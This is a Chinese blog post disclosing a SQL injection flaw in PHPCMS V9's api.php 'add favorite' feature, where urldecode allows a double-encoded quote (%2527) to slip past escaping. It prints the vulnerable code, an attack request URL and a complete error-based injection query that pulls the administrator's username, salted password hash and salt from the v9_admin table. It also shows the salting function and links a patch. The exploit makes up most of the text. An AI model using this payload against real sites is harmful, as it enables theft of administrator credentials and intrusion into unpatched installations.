PHPCMS V9最新注入漏洞,补丁已出

目前官方未对这个漏洞出补丁,找了个朋友的PHPCMS简单利用一下漏洞,出在文件api.php中,有一个功能是加入收藏,在传入的参数中,使用了urldecode来处理,导致使用%2527形成单引号绕过。官方已经紧急发布了补丁,这种做法还是很值得称赞的,响应非常迅速。这个漏洞的利用有很多种,而且爆出了密码也很难解开,因此这里提一下这个利用方法。

下面我们来看看漏洞是如何形成的:

$title = urldecode($title);

......

$data = array('title'=>$title, 'url'=>$url, 'adddate'=>SYS_TIME, 'userid'=>$userid);

......

$favorite_db->insert($data);

api.php需要注册用户才能访问,因此利用需要注册用户,并且登录,然后可以直接提交:

/api.php?op=add_favorite&url=J&title=%2527%2520and%2520%2528select

可以爆出数据前缀:

这里是V9,因此,我们构造一下语句先:

select count(*),concat((select (select (select concat(0x23,cast(concat(username,0x3a,password,0x3a,encrypt) as char),0x23) from v9_admin LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'

这样就直接爆出了管理员的密码MD5

不过爆出也比较难利用,密码是加了盐的,代码如下:

/**
* 对用户的密码进行加密
* @param $password
* @param $encrypt //传入加密串,在修改密码时做认证
* @return array/password
*/
function password($password, $encrypt='') {
$pwd = array();
$pwd['encrypt'] = $encrypt ? $encrypt : create_randomstr(); 
$pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
return $encrypt ? $pwd['password'] : $pwd;
}

补丁下载:
http://bbs.phpcms.cn/thread-697360-1-1.html

本文标题:PHPCMS V9最新注入漏洞,补丁已出
本文链接:https://www.nigesb.com/phpcms-v9-inject-0day.html
订阅本站:http://www.nigesb.com/feed
转载请注明来源,如果喜欢本站可以Feed订阅本站。

发表评论?

0 条评论。

发表评论


注意 - 你可以用以下 HTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>